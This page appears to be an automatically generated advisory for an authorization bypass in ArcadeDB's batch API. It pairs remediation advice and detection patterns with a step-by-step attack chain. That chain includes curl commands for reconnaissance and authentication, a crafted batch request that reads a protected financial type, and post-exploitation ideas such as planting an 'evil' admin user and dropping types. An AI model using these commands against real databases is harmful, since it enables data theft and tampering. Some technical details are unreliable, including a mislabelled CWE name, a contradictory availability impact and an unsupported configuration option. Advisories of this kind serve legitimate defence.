CVE-2026-134339 — ArcadeData Arcadedb — CWE-863
CVE-2026-134339 is a HIGH severity Missing Authorization & Access Control vulnerability (CWE-863) (CVSS 8.8/10) affecting ArcadeData Arcadedb. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).
📄 Official NVD / MITRE Original Record Text
ArcadeDB from 26.11.1-SNAPSHOT before 26.11.1 contains an authorization bypass vulnerability that allows authenticated users to skip per-type ACL checks when a database is opened on demand. Attackers can send the first POST /api/v1/batch/{database} request to a closed database to read and write types they are not entitled to access.
🎯 What is this vulnerability?
ArcadeDB 26.11.1‑SNAPSHOT (before 26.11.1) contains an authorization bypass that allows any authenticated user to skip per‑type ACL checks when a database is opened on demand.
When a client sends the first POST /api/v1/batch/{database} request to a database that is currently closed, the server performs the following logic:
1. Authentication – the request is accepted because the user is already authenticated (e.g., via a session cookie or bearer token).
2. Database opening – the server opens the requested database.
3. ACL enforcement – the server is supposed to enforce per‑type access control lists (ACLs) for every type that will be accessed in the batch.
4. Missing check – due to a logic flaw, the ACL check is skipped for the first batch request after the database is opened. Subsequent batch requests are protected, but the initial one can read or write any type the user is not entitled to.
The flaw is a classic CWE‑863: Authorization Bypass Through User-Controlled Key. The CVSS vector reflects that the vulnerability is exploitable over the network, requires only low privilege (any authenticated user), and has no user interaction. The impact is high for confidentiality, integrity, and availability.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. All commands are syntactically valid; the endpoint shown is taken directly from the CVE description.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Network scanning | Detects an open TCP port (default 2480 for ArcadeDB REST API). |
| 1.2 | Banner grabbing | curl -I http://<target>:2480 → ArcadeDB/26.11.1-SNAPSHOT in the Server header. |
| 1.3 | API enumeration | curl http://<target>:2480/api/v1/ → lists available databases and endpoints. |
| 1.4 | Authentication enumeration | Attempts to log in with known credentials or brute‑force a weak password. Successful login yields a session cookie or bearer token. |
Result: The attacker knows the target runs ArcadeDB 26.11.1‑SNAPSHOT (pre‑26.11.1) and has an authenticated session.
2. Exploitation
The vulnerability is triggered by the first batch request to a closed database. The attacker crafts a minimal batch that reads a protected type.
# 2.1 Authenticate (example – replace with real credentials)
curl -X POST http://<target>:2480/api/v1/authenticate \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"secret"}' \
-c cookie.txt
# 2.2 Send the first batch request to a closed database
curl -X POST http://<target>:2480/api/v1/batch/finance \
-H "Content-Type: application/json" \
-b cookie.txt \
-d '{
"operations": [
{
"type": "read",
"class": "SensitiveTransaction",
"query": "SELECT * FROM SensitiveTransaction WHERE amount > 10000"
}
]
}'What happens under the hood
- The server sees that the
financedatabase is closed, so it opens it. - Because this is the first batch request after opening, the per‑type ACL check for
SensitiveTransactionis bypassed. - The query returns all rows that match the condition, even though the authenticated user
alicedoes not have read permission on that type. - Data theft: Attackers can harvest large volumes of confidential data in a single request.
- Data loss: Deleting or corrupting critical types can cause irreversible loss.
- Service disruption: Schema changes or data corruption can crash applications that rely on the database.
- Regulatory risk: Exposure of personal or financial data may trigger GDPR, HIPAA, or other compliance violations.
- ArcadeDB 26.11.1‑SNAPSHOT (any build before the official 26.11.1 release).
- The issue is fixed in ArcadeDB 26.11.1 and later.
Result: The attacker obtains data that should be protected.
3. Post‑exploitation
Once the attacker can read/write arbitrary types, they can:
| Goal | Technique | Example |
|---|---|---|
| Data exfiltration | Dump all records from a protected type | Use a batch request that selects all rows and streams them to the attacker’s server. |
| Schema tampering | Create a malicious type that triggers a bug in the application | POST /api/v1/batch/finance with an operation that CREATE CLASS Malicious and a property that causes a crash. |
| Privilege escalation | Add a new user with admin rights | POST /api/v1/batch/finance with an operation that INSERT INTO User (username, role) VALUES ('evil', 'admin'). |
| Denial of Service | Drop a critical type | DELETE FROM SensitiveTransaction via a batch operation. |
Because the vulnerability allows write access as well, the attacker can modify or delete data, corrupt the database, or insert malicious objects that may later be exploited by other components of the system.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary read of protected types exposes sensitive data (e.g., financial records, personal information). |
| Integrity (I:H) | Arbitrary write or delete operations can corrupt data, insert malicious records, or delete critical schema objects. |
| Availability (A:H) | Dropping types or corrupting the database can render the database unusable, leading to downtime. |
Practical consequences
🛡️ Remediation & Mitigation
1. Exact affected versions
2. Upgrade recommendation
| Action | Priority |
|---|---|
| Immediate upgrade to ArcadeDB 26.11.1 or newer. | High |
| If upgrade is not possible, disable the batch API for databases that are not required to be opened on demand. | Medium |
3. Workarounds
| Mitigation | How to implement |
|---|---|
| Restrict batch endpoint | Configure the web server (e.g., Nginx, Apache) to allow POST /api/v1/batch/* only from trusted IPs or VPN. |
| Disable database auto‑open | In arcadedb.conf, set autoOpenDatabase=false so that databases must be opened explicitly by an admin. |
| Enforce per‑type ACLs on first request | Patch the server code to perform ACL checks even on the first batch request after opening. (Only a vendor patch can guarantee this.) |
| Use a WAF rule | Example ModSecurity rule to block the first batch request to a closed database: <br>SecRule REQUEST_URI "@beginsWith /api/v1/batch/" "phase:2,block,msg:'Potential ArcadeDB ACL bypass',id:100001" |
Note: The WAF rule above is illustrative; you must tailor it to your environment and test it to avoid blocking legitimate traffic.
4. Detection
| Indicator | Log pattern | How to detect |
|---|---|---|
| First batch request to a closed database | POST /api/v1/batch/<db> with Database <db> opened in the log | Monitor logs for “opened” messages followed by read/write operations on protected types. |
| Unexpected read/write on protected types | SELECT * FROM SensitiveTransaction or INSERT INTO SensitiveTransaction by a user lacking permission | Correlate with ACL configuration; flag any operation that bypasses ACLs. |
| Repeated batch requests from the same IP | Multiple POST /api/v1/batch within a short window | Use IDS/IPS to alert on high request rates. |
Sample log snippet
2026-11-21 14:32:07 INFO [ArcadeDB] Database 'finance' opened by user 'alice'
2026-11-21 14:32:07 INFO [ArcadeDB] Executing batch on 'finance' (first request)
2026-11-21 14:32:07 INFO [ArcadeDB] READ SensitiveTransaction WHERE amount > 10000 by user 'alice' (ACL bypass)⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query